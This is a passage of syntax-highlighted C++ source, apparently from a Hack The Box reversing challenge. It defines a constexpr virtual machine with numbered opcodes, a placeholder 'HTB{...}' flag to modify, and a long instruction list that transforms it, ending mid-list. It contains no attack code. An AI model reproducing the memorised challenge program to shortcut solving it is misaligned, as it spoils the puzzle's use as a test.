regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">|=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">|=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&amp;=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">7</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&amp;=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">+=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">-=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">*=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">*=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            __noop<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            __noop<span class=\"token punctuation\">;</span>\n            __noop<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">rotr</span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">17</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">rotr</span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">rotl</span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">19</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token function\">rotl</span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">20</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">21</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">22</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">>>=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">23</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">>>=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">25</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;&lt;=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token function\">static_assert</span><span class=\"token punctuation\">(</span>always_false_insn_v<span class=\"token operator\">&lt;</span>Insn<span class=\"token operator\">></span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n\n    template<span class=\"token operator\">&lt;</span>std<span class=\"token operator\">::</span><span class=\"token class-name\">size_t</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Is<span class=\"token operator\">></span>\n    <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">void</span> <span class=\"token function\">execute_impl</span><span class=\"token punctuation\">(</span>R <span class=\"token operator\">&amp;</span>regs<span class=\"token punctuation\">,</span> std<span class=\"token operator\">::</span>index_sequence<span class=\"token operator\">&lt;</span>Is<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token punctuation\">(</span>execute_one<span class=\"token operator\">&lt;</span>Instructions<span class=\"token operator\">></span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">void</span> <span class=\"token function\">execute</span><span class=\"token punctuation\">(</span>R <span class=\"token operator\">&amp;</span>regs<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">execute_impl</span><span class=\"token punctuation\">(</span>regs<span class=\"token punctuation\">,</span> std<span class=\"token operator\">::</span>make_index_sequence<span class=\"token operator\">&lt;</span><span class=\"token keyword\">sizeof</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span>Instructions<span class=\"token punctuation\">)</span><span class=\"token operator\">></span><span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">static</span> constexpr R registers <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-></span> R <span class=\"token punctuation\">{</span>\n        R arr <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">execute</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> arr<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">/// Modify this text              vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>maybe_unused<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token keyword\">auto</span> flag <span class=\"token operator\">=</span> <span class=\"token string\">\"HTB{___________________________________}\"</span>_flag<span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">/// Modify this text              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span>\n\n    <span class=\"token function\">static_assert</span><span class=\"token punctuation\">(</span><span class=\"token function\">decltype</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">)</span><span class=\"token operator\">::</span><span class=\"token function\">size</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">40</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    using program <span class=\"token operator\">=</span> <span class=\"token class-name\">program_t</span><span class=\"token operator\">&lt;</span>flag<span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">9</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span 